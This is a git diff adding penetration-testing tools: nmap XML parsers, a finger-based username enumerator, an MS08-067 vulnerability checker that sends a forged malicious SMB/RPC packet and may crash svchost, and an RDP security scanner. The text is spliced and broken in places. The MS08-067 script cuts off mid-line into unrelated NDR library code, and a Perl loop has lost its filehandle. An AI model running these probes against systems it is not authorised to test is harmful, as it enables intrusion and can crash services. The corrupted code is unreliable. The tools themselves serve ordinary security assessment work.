+ self.__hosts[__host.ip] = __host + except Exception as ex: + print("\t[-] Parser error! Invalid nmap file!") + #logging.error(ex) + raise + + def get_session( self ): + '''get this scans information, return a Session object''' + run_node = self.__dom.getElementsByTagName('nmaprun')[0] + hosts_node = self.__dom.getElementsByTagName('hosts')[0] + + finish_time = self.__dom.getElementsByTagName('finished')[0].getAttribute('timestr') + + nmap_version = run_node.getAttribute('version') + start_time = run_node.getAttribute('startstr') + scan_args = run_node.getAttribute('args') + + total_hosts = hosts_node.getAttribute('total') + up_hosts = hosts_node.getAttribute('up') + down_hosts = hosts_node.getAttribute('down') + + MySession = { 'finish_time': finish_time, + 'nmap_version' : nmap_version, + 'scan_args' : scan_args, + 'start_time' : start_time, + 'total_hosts' : total_hosts, + 'up_hosts' : up_hosts, + 'down_hosts' : down_hosts } + + self.__session = Session.Session( MySession ) + + return self.__session + + def get_host( self, ipaddr ): + + '''get a Host object by ip address''' + + return self.__hosts.get(ipaddr) + + def all_hosts( self, status = '' ): + + '''get a list of Host object''' + + if( status == '' ): + return self.__hosts.values( ) + + else: + __tmp_hosts = [ ] + + for __host in self.__hosts.values( ): + + if __host.status == status: + __tmp_hosts.append( __host ) + + return __tmp_hosts + + def all_ips( self, status = '' ): + + '''get a list of ip address''' + __tmp_ips = [ ] + + if( status == '' ): + for __host in self.__hosts.values( ): + + __tmp_ips.append( __host.ip ) + + else: + for __host in self.__hosts.values( ): + + if __host.status == status: + __tmp_ips.append( __host.ip ) + + return __tmp_ips + +if __name__ == '__main__': + + parser = Parser( 'a-full.xml' ) + + print('\nscan session:') + session = parser.get_session() + print("\tstart time:\t" + session.start_time) + print("\tstop time:\t" + session.finish_time) + print("\tnmap version:\t" + session.nmap_version) + print("\tnmap args:\t" + session.scan_args) + print("\ttotal hosts:\t" + session.total_hosts) + print("\tup hosts:\t" + session.up_hosts) + print("\tdown hosts:\t" + session.down_hosts) + + for h in parser.all_hosts(): + + print('host ' +h.ip + ' is ' + h.status) + + for port in h.get_ports( 'tcp', 'open' ): + print("\t---------------------------------------------------") + print("\tservice of tcp port " + port + ":") + s = h.get_service( 'tcp', port ) + + if s == None: + print("\t\tno service") + + else: + print("\t\t" + s.name) + print("\t\t" + s.product) + print("\t\t" + s.version) + print("\t\t" + s.extrainfo) + print("\t\t" + s.fingerprint) + + print("\tscript output:") + sc = port.get_scripts() + + if sc == None: + print("\t\tno scripts") + + else: + for scr in sc: + print("Script ID: " + scr.scriptId) + print("Output: ") + print(scr.output) + + print("\t---------------------------------------------------") diff --git a/parsers/Port.py b/parsers/Port.py new file mode 100644 index 00000000..de9bb700 --- /dev/null +++ b/parsers/Port.py @@ -0,0 +1,40 @@ +#!/usr/bin/python + +__author__ = 'SECFORCE' +__version__= '0.1' + +import sys +import xml.dom.minidom +#import parsers.Script as Service <- Not exist? +import parsers.Script as Script + +class Port: + portId = '' + protocol= '' + state='' + + def __init__(self, PortNode): + if not (PortNode is None): + self.port_node = PortNode + self.portId = PortNode.getAttribute('portid') + self.protocol = PortNode.getAttribute('protocol') + self.state = PortNode.getElementsByTagName('state')[0].getAttribute('state') + + def get_service(self): + + #service_node = self.port_node.getElementsByTagName('service') + + #if len(service_node) > 0: + # return Service.Service(service_node[0]) + + return None + + def get_scripts(self): + + scripts = [ ] + + for script_node in self.port_node.getElementsByTagName('script'): + scr = Script.Script(script_node) + scripts.append(scr) + + return scripts diff --git a/parsers/Script.py b/parsers/Script.py new file mode 100644 index 00000000..18904e77 --- /dev/null +++ b/parsers/Script.py @@ -0,0 +1,27 @@ +#!/usr/bin/python + +__author__ = 'ketchup' +__version__= '0.1' +__modified_by = 'ketchup' + +import sys +import xml.dom.minidom + +class Script: + scriptId = '' + output = '' + + def __init__(self, ScriptNode): + if not (ScriptNode is None): + self.scriptId = ScriptNode.getAttribute('id') + self.output = ScriptNode.getAttribute('output') + + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('a-full.xml') + + for scriptNode in dom.getElementsByTagName('script'): + script = Script(scriptNode) + print(script.scriptId) + print(script.output) diff --git a/parsers/Service.py b/parsers/Service.py new file mode 100644 index 00000000..4d2f311f --- /dev/null +++ b/parsers/Service.py @@ -0,0 +1,40 @@ +#!/usr/bin/python + +__author__ = 'yunshu(wustyunshu@hotmail.com)' +__version__= '0.2' +__modified_by = 'ketchup' + +import sys +import xml.dom.minidom + +class Service: + extrainfo = '' + name = '' + product = '' + fingerprint = '' + version = '' + + def __init__( self, ServiceNode ): + self.extrainfo = ServiceNode.getAttribute('extrainfo') + self.name = ServiceNode.getAttribute('name') + self.product = ServiceNode.getAttribute('product') + self.fingerprint = ServiceNode.getAttribute('servicefp') + self.version = ServiceNode.getAttribute('version') + + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('i.xml') + + service_nodes = dom.getElementsByTagName('service') + if len(service_nodes) == 0: + sys.exit() + + node = dom.getElementsByTagName('service')[0] + + s = Service( node ) + print(s.name) + print(s.product) + print(s.version) + print(s.extrainfo) + print(s.fingerprint) diff --git a/parsers/Session.py b/parsers/Session.py new file mode 100644 index 00000000..ef035ef1 --- /dev/null +++ b/parsers/Session.py @@ -0,0 +1,34 @@ +#!/usr/bin/python + +__author__ = 'yunshu(wustyunshu@hotmail.com)' +__version__= '0.2' + +import sys +import xml.dom.minidom + +class Session: + def __init__( self, SessionHT ): + self.start_time = SessionHT.get('start_time', '') + self.finish_time = SessionHT.get('finish_time', '') + self.nmap_version = SessionHT.get('nmap_version', '') + self.scan_args = SessionHT.get('scan_args', '') + self.total_hosts = SessionHT.get('total_hosts', '') + self.up_hosts = SessionHT.get('up_hosts', '') + self.down_hosts = SessionHT.get('down_hosts', '') + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('i.xml') + dom.getElementsByTagName('finished')[0].getAttribute('timestr') + + MySession = { 'finish_time': dom.getElementsByTagName('finished')[0].getAttribute('timestr'), 'nmap_version' : '4.79', 'scan_args' : '-sS -sV -A -T4', 'start_time' : dom.getElementsByTagName('nmaprun')[0].getAttribute('startstr'), 'total_hosts' : '1', 'up_hosts' : '1', 'down_hosts' : '0' } + + s = Session( MySession ) + + print('start_time:' + s.start_time) + print('finish_time:' + s.finish_time) + print('nmap_version:' + s.nmap_version) + print('nmap_args:' + s.scan_args) + print('total hosts:' + s.total_hosts) + print('up hosts:' + s.up_hosts) + print('down hosts:' + s.down_hosts) diff --git a/parsers/__init__.py b/parsers/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/scripts/fingertool.sh b/scripts/fingertool.sh new file mode 100644 index 00000000..06223d92 --- /dev/null +++ b/scripts/fingertool.sh @@ -0,0 +1,30 @@ +#!/bin/bash +# fingertool - This script will enumerate users using finger +# SECFORCE - Antonio Quina + +if [ $# -eq 0 ] + then + echo "Usage: $0 []" + echo "eg: $0 10.10.10.10 users.txt" + exit + else + IP="$1" +fi + +if [ "$2" == "" ] + then + WORDLIST="/usr/share/metasploit-framework/data/wordlists/unix_users.txt" + else + WORDLIST="$2" +fi + + +for username in $(cat $WORDLIST | sort -u| uniq) + do output=$(finger -l $username@$IP) + if [[ $output == *"Directory"* ]] + then + echo "Found user: $username" + fi + done + +echo "Finished!" \ No newline at end of file diff --git a/scripts/ms08-067_check.py b/scripts/ms08-067_check.py new file mode 100644 index 00000000..f2b02813 --- /dev/null +++ b/scripts/ms08-067_check.py @@ -0,0 +1,281 @@ +#!/usr/bin/env python + +''' +Name: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability + +Description: +Anonymously check if a target machine is affected by MS08-067 (Vulnerability in Server Service Could Allow Remote Code Execution) + +Author: Bernardo Damele A. G. + +License: Modified Apache 1.1 + +Version: 0.6 + +References: +* BID: 31874 +* CVE: 2008-4250 +* MSB: MS08-067 +* VENDOR: http://blogs.technet.com/swi/archive/2008/10/25/most-common-questions-that-we-ve-been-asked-regarding-ms08-067.aspx +* VENDOR: http://www.microsoft.com/technet/security/advisory/958963.mspx +* MISC: http://www.phreedom.org/blog/2008/decompiling-ms08-067/ +* MISC: http://metasploit.com/dev/trac/browser/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb +* MISC: http://blog.threatexpert.com/2008/10/gimmiva-exploits-zero-day-vulnerability.html +* MISC: http://blogs.securiteam.com/index.php/archives/1150 + +Tested: +* Windows 2000 Server Service Pack 0 +* Windows 2000 Server Service Pack 4 with Update Rollup 1 +* Microsoft 2003 Standard Service Pack 1 +* Microsoft 2003 Standard Service Pack 2 Full Patched at 22nd of October 2008, before MS08-067 patch was released + +Notes: +* On Windows XP SP2 and SP3 this check might lead to a race condition and + heap corruption in the svchost.exe process, but it may not crash the + service immediately: it can trigger later on inside any of the shared + services in the process. +''' + + +import socket +import sys + +from optparse import OptionError +from optparse import OptionParser +from random import choice +from string import letters +from struct import pack +from threading import Thread +from traceback import format_exc + +try: + from impacket import smb + from impacket import uuid + from impacket.dcerpc.v5 import dcerpc + from impacket.dcerpc.v5 import transport +except ImportError, _: + print 'ERROR: this tool requires python-impacket library to be installed, get it ' + print 'from http://oss.coresecurity.com/projects/impacket.html or apt-get install python-impacket' + sys.exit(1) + +try: + from ndr import * +except ImportError, _: + print 'ERROR: this tool requires python-pymsrpc library to be installed, get it ' + print 'from http://code.google.com/p/pymsrpc/' + sys.exit(1) + + +CMDLINE = False +SILENT = False + + +class connectionException(Exception): + pass + + +class MS08_067(Thread): + def __init__(self, target, port=445): + super(MS08_067, self).__init__() + + self.__port = port + self.target = target + self.status = 'unknown' + + + def __checkPort(self): + ''' + Open connection to TCP port to check if it is open + ''' + + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(1) + s.connect((self.target, self.__port)) + s.close() + + except socket.timeout, _: + raise connectionException, 'connection timeout' + + except socket.error, _: + raise connectionException, 'connection refused' + + + def __connect(self): + ''' + SMB connect to the Computer Browser service named pipe + Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_browser.html + ''' + + try: + self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) + self.__trans.connect() + + except smb.SessionError, _: + raise connectionException, 'access denied (RestrictAnonymous is probably set to 2)' + + except: + #raise Exception, 'unhandled exception (%s)' % format_exc() + raise connectionException, 'unexpected exception' + + + def __bind(self): + ''' + DCERPC bind to SRVSVC (Server Service) endpoint + Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html + ''' + + try: + self.__dce = self.__trans.DCERPC_class(self.__trans) + + self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) + + except socket.error, _: + raise connectionException, 'unable to bind to SRVSVC endpoint' + + except: + #raise Exception, 'unhandled exception (%s)' % format_exc() + raise connectionException, 'unexpected exception' + + + def __forgePacket(self): + ''' + Forge the malicious NetprPathCompare packet + + Reference: http://msdn.microsoft.com/en-us/library/cc247259.aspx + + long NetprPathCompare( + [in, string, unique] SRVSVC_HANDLE ServerName, + [in, string] WCHAR* PathName1, + [in, string] WCHAR* PathName2, + [in] DWORD PathType, + [in] DWORD Flags + ); + ''' + + self.__path = ''.join([choice(letters) for _ in xrange(0, 3)]) + + self.__request = ndr_unique(pointer_value=0x00020000, data=ndr_wstring(data='')).serialize() + self.__request += ndr_wstring(data='\\%s\\..\\%s' % ('A'*5, self.__path)).serialize() + self.__request += ndr_wstring(data='\\%s' % self.__path).serialize() + self.__request += ndr_long(data=1).serialize() + self.__request += ndr_long(data=0).serialize() + + + def __compare(self): + ''' + Compare NetprPathCompare response field 'Windows Error' with the + expected value (WERR_OK) to confirm the target is vulnerable + ''' + + self.__vulnerable = pack(' self.high: + self.data.data = self.high + elif self.data.get_data() < self.low: + self.data.data = self.low + + return self.data.serialize() + +class ndr_enum16(ndr_primitive): + ''' + encode: /* enum16 */ short element_1; + ''' + def __init__(self, **kwargs): + self.data = kwargs.get('data', 0x0004) + self.signed = kwargs.get('signed', True) + self.name = kwargs.get('name', "") + self.size = 2 + + def get_data(self): + return self.data + + def set_data(self, new_data): + self.data = new_data + + def get_name(self): + return self.name + + def get_size(self): + return self.size + + def serialize(self): + if self.signed: + return struct.pack(" install Encoding::BER +# +# References: +# +# [MS-RDPBCGR]: Remote Desktop Protocol: Basic Connectivity and Graphics Remoting Specification +# http://msdn.microsoft.com/en-us/library/cc240445(v=prot.10).aspx +# +use strict; +use warnings; +use IO::Socket::INET; +use Getopt::Long; +use Encoding::BER; + +my %rdp_neg_type; +$rdp_neg_type{"01"} = "TYPE_RDP_NEG_REQ"; +$rdp_neg_type{"02"} = "TYPE_RDP_NEG_RSP"; +$rdp_neg_type{"03"} = "TYPE_RDP_NEG_FAILURE"; + +my %rdp_neg_rsp_flags; +$rdp_neg_rsp_flags{"00"} = "NO_FLAGS_SET"; +$rdp_neg_rsp_flags{"01"} = "EXTENDED_CLIENT_DATA_SUPPORTED"; +$rdp_neg_rsp_flags{"02"} = "DYNVC_GFX_PROTOCOL_SUPPORTED"; + +my %rdp_neg_protocol; +$rdp_neg_protocol{"00"} = "PROTOCOL_RDP"; +$rdp_neg_protocol{"01"} = "PROTOCOL_SSL"; +$rdp_neg_protocol{"02"} = "PROTOCOL_HYBRID"; + +my %rdp_neg_failure_code; +$rdp_neg_failure_code{"01"} = "SSL_REQUIRED_BY_SERVER"; +$rdp_neg_failure_code{"02"} = "SSL_NOT_ALLOWED_BY_SERVER"; +$rdp_neg_failure_code{"03"} = "SSL_CERT_NOT_ON_SERVER"; +$rdp_neg_failure_code{"04"} = "INCONSISTENT_FLAGS"; +$rdp_neg_failure_code{"05"} = "HYBRID_REQUIRED_BY_SERVER"; +$rdp_neg_failure_code{"06"} = "SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER"; + +my %encryption_level; +$encryption_level{"00000000"} = "ENCRYPTION_LEVEL_NONE"; +$encryption_level{"00000001"} = "ENCRYPTION_LEVEL_LOW"; +$encryption_level{"00000002"} = "ENCRYPTION_LEVEL_CLIENT_COMPATIBLE"; +$encryption_level{"00000003"} = "ENCRYPTION_LEVEL_HIGH"; +$encryption_level{"00000004"} = "ENCRYPTION_LEVEL_FIPS"; + +my %encryption_method; +$encryption_method{"00000000"} = "ENCRYPTION_METHOD_NONE"; +$encryption_method{"00000001"} = "ENCRYPTION_METHOD_40BIT"; +$encryption_method{"00000002"} = "ENCRYPTION_METHOD_128BIT"; +$encryption_method{"00000008"} = "ENCRYPTION_METHOD_56BIT"; +$encryption_method{"00000010"} = "ENCRYPTION_METHOD_FIPS"; + +my %version_meaning; +$version_meaning{"00080001"} = "RDP 4.0 servers"; +$version_meaning{"00080004"} = "RDP 5.0, 5.1, 5.2, 6.0, 6.1, 7.0, 7.1, and 8.0 servers"; + +my $enc = Encoding::BER->new(warn => sub{}); +my %config; + +my $VERSION = "0.9-beta"; +my $usage = "Starting rdp-sec-check v$VERSION ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) +Copyright (C) 2014 Mark Lowe (mrl\@portcullis-security.com) + +$0 [ options ] ( --file hosts.txt | host | host:port ) + +options are: + + --file hosts.txt targets, one ip:port per line + --outfile out.log output logfile + --timeout sec receive timeout (default 10s) + --retries times number of retries after timeout + --verbose + --debug + --help + +Example: + $0 192.168.1.1 + $0 --file hosts.txt --timeout 15 --retries 3 + $0 --outfile rdp.log 192.168.69.69:3389 + $0 --file hosts.txt --outfile rdp.log --verbose + +"; + +my $debug = 0; +my $verbose = 0; +my $help = 0; +my $hostfile = undef; +my $outfile = undef; +my @targets = (); + +my $global_recv_timeout = 10; +my $global_connect_fail_count = 5; +my $global_connection_count = 0; + +my $result = GetOptions ( + "verbose" => \$verbose, + "debug" => \$debug, + "help" => \$help, + "file=s" => \$hostfile, + "outfile=s" => \$outfile, + "timeout=i" => \$global_recv_timeout, + "retries=i" => \$global_connection_count, +); + +if ($help) { + print $usage; + exit 0; +} + +if ($debug) { + use Data::Dumper; + use warnings FATAL => 'all'; + use Carp qw(confess); + $SIG{ __DIE__ } = sub { confess( @_ ) }; +} + +if (defined($outfile)){ + # http://stackoverflow.com/questions/1631873/copy-all-output-of-a-perl-script-into-a-file + use Symbol; + my @handles = (*STDOUT); + my $handle = gensym( ); + push(@handles, $handle); + open $handle, ">$outfile" or die "[E] Can't write to $outfile: $!\n"; #open for write, overwrite; + tie *TEE, "Tie::Tee", @handles; + select(TEE); + *STDERR = *TEE; +} + +if (defined($hostfile)) { + open HOSTS, "<$hostfile" or die "[E] Can't open $hostfile: $!\n"; + while () { + chomp; chomp; + my $line = $_; + my $port = 3389; + my $host = $line; + if ($line =~ /\s*(\S+):(\d+)\s*/) { + $host = $1; + $port = $2; + } + my $ip = resolve($host); + if (defined($ip)) { + push @targets, { ip => $ip, hostname => $host, port => $port }; + } else { + print "[W] Unable to resolve host $host. Ignoring line: $line\n"; + } + } + close(HOSTS); + +} else { + my $host = shift or die $usage; + my $port = 3389; + if ($host =~ /\s*(\S+):(\d+)\s*/) { + $host = $1; + $port = $2; + } + my $ip = resolve($host); + unless (defined($ip)) { + die "[E] Can't resolve hostname $host\n"; + } + push @targets, { ip => $ip, hostname => $host, port => $port }; +} + +# flush after every write +$| = 1; + +my $global_starttime = time; +printf "Starting rdp-sec-check v%s ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) at %s\n", $VERSION, scalar(localtime); +printf "\n[+] Scanning %s hosts\n", scalar @targets; +print Dumper \@targets if $debug > 0; + +foreach my $target_addr (@targets) { + scan_host($target_addr->{hostname}, $target_addr->{ip}, $target_addr->{port}); +} + +print "\n"; +printf "rdp-sec-check v%s completed at %s\n", $VERSION, scalar(localtime); +print "\n"; + +sub scan_host { + my ($host, $ip, $port) = @_; + print "\n"; + print "Target: $host\n"; + print "IP: $ip\n"; + print "Port: $port\n"; + print "\n"; + print "[+] Connecting to $ip:$port\n" if $debug > 1; + my $socket; + my @response; + + print "[+] Checking supported protocols\n\n"; + print "[-] Checking if RDP Security (PROTOCOL_RDP) is supported..."; + $socket = get_socket($ip, $port); + @response = test_std_rdp_security($socket); + if (scalar @response == 19) { + my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; + if ($type eq "TYPE_RDP_NEG_FAILURE") { + printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; + $config{"protocols"}{"PROTOCOL_RDP"} = 0; + } else { + if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_RDP") { + print "Supported\n"; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; + } else { + printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; + } + } + } elsif (scalar @response == 11) { + printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n"; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; + } else { + print "Not supported - unexpected response\n"; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; + } + + print "[-] Checking if TLS Security (PROTOCOL_SSL) is supported..."; + $socket = get_socket($ip, $port); + @response = test_tls_security($socket); + if (scalar @response == 19) { + my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; + if ($type eq "TYPE_RDP_NEG_FAILURE") { + printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; + $config{"protocols"}{"PROTOCOL_SSL"} = 0; + } else { + if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_SSL") { + print "Supported\n"; + $config{"protocols"}{"PROTOCOL_SSL"} = 1; + } else { + printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; + } + } + } elsif (scalar @response == 11) { + printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n"; + $config{"protocols"}{"PROTOCOL_SSL"} = 0; + } else { + print "Not supported - unexpected response\n"; + $config{"protocols"}{"PROTOCOL_SSL"} = 0; + } + + print "[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]..."; + $socket = get_socket($ip, $port); + @response = test_credssp_security($socket); + if (scalar @response == 19) { + my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; + if ($type eq "TYPE_RDP_NEG_FAILURE") { + printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; + } else { + if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_HYBRID") { + print "Supported\n"; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 1; + } else { + printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; + } + } + } elsif (scalar @response == 11) { + printf "Negotiation ignored - old Windows 2000/XP/2003 system??\n"; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; + } else { + print "Not supported - unexpected response\n"; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; + } + print "\n"; + print "[+] Checking RDP Security Layer\n\n"; + foreach my $enc_hex (qw(00 01 02 08 10)) { + printf "[-] Checking RDP Security Layer with encryption %s...", $encryption_method{"000000" . $enc_hex}; + $socket = get_socket($ip, $port); + @response = test_classic_rdp_security($socket); + + if (scalar @response == 11) { + my @response_mcs = test_mcs_initial_connect($socket, $enc_hex); + unless (scalar(@response_mcs) > 8) { + print "Not supported\n"; + next; + } + my $length1 = ord($response_mcs[8]); + my $ber_encoded = join("", splice @response_mcs, 7); + my $ber = $enc->decode($ber_encoded); + my $user_data = $ber->{value}->[3]->{value}; + my ($sc_core, $sc_sec) = $user_data =~ /\x01\x0c..(.*)\x02\x0c..(.*)/s; + + my ($version, $client_requested_protocols, $early_capability_flags) = $sc_core =~ /(....)(....)?(....)?/; + my ($encryption_method, $encryption_level, $random_length, $server_cert_length) = $sc_sec =~ /(....)(....)(....)(....)/; + my $server_cert_length_i = unpack("V", $server_cert_length); + my $random_length_i = unpack("V", $random_length); + if ("000000" . $enc_hex eq sprintf "%08x", unpack("V", $encryption_method)) { + printf "Supported. Server encryption level: %s\n", $encryption_level{sprintf "%08x", unpack("V", $encryption_level)}; + $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 1; + $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 1; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; # This is the only way the script detects RDP support on 2000/XP + } else { + printf "Not supported. Negotiated %s. Server encryption level: %s\n", $encryption_method{sprintf "%08x", unpack("V", $encryption_method)}, $encryption_level{sprintf "%08x", unpack("V", $encryption_level)}; + $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 0; + $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 0; + } + my $random = substr $sc_sec, 16, $random_length_i; + my $cert = substr $sc_sec, 16 + $random_length_i, $server_cert_length_i; + } else { + print "Not supported\n"; + } + } + + if ($config{"protocols"}{"PROTOCOL_HYBRID"}) { + if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_RDP"}) { + $config{"issues"}{"NLA_SUPPORTED_BUT_NOT_MANDATED_DOS"} = 1; + } + } else { + # is this really a problem? + $config{"issues"}{"NLA_NOT_SUPPORTED_DOS"} = 1; + } + + if ($config{"protocols"}{"PROTOCOL_RDP"}) { + if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_HYBRID"}) { + $config{"issues"}{"SSL_SUPPORTED_BUT_NOT_MANDATED_MITM"} = 1; + } else { + $config{"issues"}{"ONLY_RDP_SUPPORTED_MITM"} = 1; + } + + if ($config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"}) { + $config{"issues"}{"WEAK_RDP_ENCRYPTION_SUPPORTED"} = 1; + } + + if ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"}) { + $config{"issues"}{"NULL_RDP_ENCRYPTION_SUPPORTED"} = 1; + } + + if ($config{"encryption_method"}{"ENCRYPTION_METHOD_FIPS"} and ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_128BIT"})) { + $config{"issues"}{"FIPS_SUPPORTED_BUT_NOT_MANDATED"} = 1; + } + } + + print "\n"; + print "[+] Summary of protocol support\n\n"; + foreach my $protocol (keys(%{$config{"protocols"}})) { + printf "[-] $ip:$port supports %-15s: %s\n", $protocol, $config{"protocols"}{$protocol} ? "TRUE" : "FALSE"; + } + + print "\n"; + print "[+] Summary of RDP encryption support\n\n"; + foreach my $encryption_level (sort keys(%{$config{"encryption_level"}})) { + printf "[-] $ip:$port has encryption level: %s\n", $encryption_level; + } + foreach my $encryption_method (sort keys(%encryption_method)) { + printf "[-] $ip:$port supports %-25s: %s\n", $encryption_method{$encryption_method}, (defined($config{"encryption_method"}{$encryption_method{$encryption_method}}) and $config{"encryption_method"}{$encryption_method{$encryption_method}}) ? "TRUE" : "FALSE"; + } + + print "\n"; + print "[+] Summary of security issues\n\n"; + foreach my $issue (keys(%{$config{"issues"}})) { + print "[-] $ip:$port has issue $issue\n"; + } + + print Dumper \%config if $debug; +} + +sub test_std_rdp_security { + my ($socket) = @_; + my $string = get_x224_crq_std_rdp_security(); + return do_handshake($socket, $string); +} + +sub test_tls_security { + my ($socket) = @_; + my $string = get_x224_crq_tls_security(); + return do_handshake($socket, $string); +} + +sub test_credssp_security { + my ($socket) = @_; + my $string = get_x224_crq_credssp_security(); + return do_handshake($socket, $string); +} + +sub test_classic_rdp_security { + my ($socket) = @_; + my $string = get_x224_crq_classic(); + return do_handshake($socket, $string); +} + +sub test_mcs_initial_connect { + my ($socket, $enc_hex) = @_; + my $string = get_mcs_initial_connect($enc_hex); + return do_handshake($socket, $string); +} + +sub do_handshake { + my ($socket, $string) = @_; + print "[+] Sending:\n" if $debug > 1; + hdump($string) if $debug > 1; + + print $socket $string; + + my $data; + + local $SIG{ALRM} = sub { die "alarm\n" }; + eval { + alarm($global_recv_timeout); + $socket->recv($data,4); + alarm(0); + }; + if ($@) { + print "[W] Timeout on recv. Results may be unreliable.\n"; + } + + if (length($data) == 4) { + print "[+] Received from Server :\n" if $debug > 1; + hdump($data) if $debug > 1; + my @data = split("", $data); + my $length = (ord($data[2]) << 8) + ord($data[3]); + printf "[+] Initial length: %d\n", $length if $debug > 1; + my $data2 = ""; + while (length($data) < $length) { + local $SIG{ALRM} = sub { die "alarm\n" }; + eval { + alarm($global_recv_timeout); + $socket->recv($data2,$length - 4); + alarm(0); + }; + if ($@) { + print "[W] Timeout on recv. Results may be unreliable.\n"; + } + print "[+] Received " . length($data2) . " bytes from Server :\n" if $debug > 1; + hdump($data2) if $debug > 1; + $data .= $data2; + } + return split "", $data; + } else { + return undef; + } +} + +# http://www.perlmonks.org/?node_id=111481 +sub hdump { + my $offset = 0; + my(@array,$format); + foreach my $data (unpack("a16"x(length($_[0])/16)."a*",$_[0])) { + my($len)=length($data); + if ($len == 16) { + @array = unpack('N4', $data); + $format="0x%08x (%05d) %08x %08x %08x %08x %s\n"; + } else { + @array = unpack('C*', $data); + $_ = sprintf "%2.2x", $_ for @array; + push(@array, ' ') while $len++ < 16; + $format="0x%08x (%05d)" . + " %s%s%s%s %s%s%s%s %s%s%s%s %s%s%s%s %s\n"; + } + $data =~ tr/\0-\37\177-\377/./; + printf $format,$offset,$offset,@array,$data; + $offset += 16; + } +} + +sub get_x224_crq_std_rdp_security { + return get_x224_connection_request("00"); +} + +sub get_x224_crq_tls_security { + return get_x224_connection_request("01"); +} + +sub get_x224_crq_credssp_security { + return get_x224_connection_request("03"); +} + +sub get_x224_crq_classic { + return get_old_connection_request(); +} + +# enc_hex is bitmask of: +# 01 - 40 bit +# 02 - 128 bit +# 08 - 56 bit +# 10 - fips +# +# common value sniffed from wireshark: 03 +sub get_mcs_initial_connect { + my $enc_hex = shift; + my @packet_hex = qw( + 03 00 01 a2 02 f0 80 7f 65 82 + 01 96 04 01 01 04 01 01 01 01 ff 30 20 02 02 00 + 22 02 02 00 02 02 02 00 00 02 02 00 01 02 02 00 + 00 02 02 00 01 02 02 ff ff 02 02 00 02 30 20 02 + 02 00 01 02 02 00 01 02 02 00 01 02 02 00 01 02 + 02 00 00 02 02 00 01 02 02 04 20 02 02 00 02 30 + 20 02 02 ff ff 02 02 fc 17 02 02 ff ff 02 02 00 + 01 02 02 00 00 02 02 00 01 02 02 ff ff 02 02 00 + 02 04 82 01 23 00 05 00 14 7c 00 01 81 1a 00 08 + 00 10 00 01 c0 00 44 75 63 61 81 0c 01 c0 d4 00 + 04 00 08 00 20 03 58 02 01 ca 03 aa 09 04 00 00 + 28 0a 00 00 68 00 6f 00 73 00 74 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 04 00 00 00 00 00 00 00 0c 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 01 ca 01 00 00 00 00 00 18 00 07 00 01 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 04 c0 0c 00 09 00 00 00 00 00 00 00 02 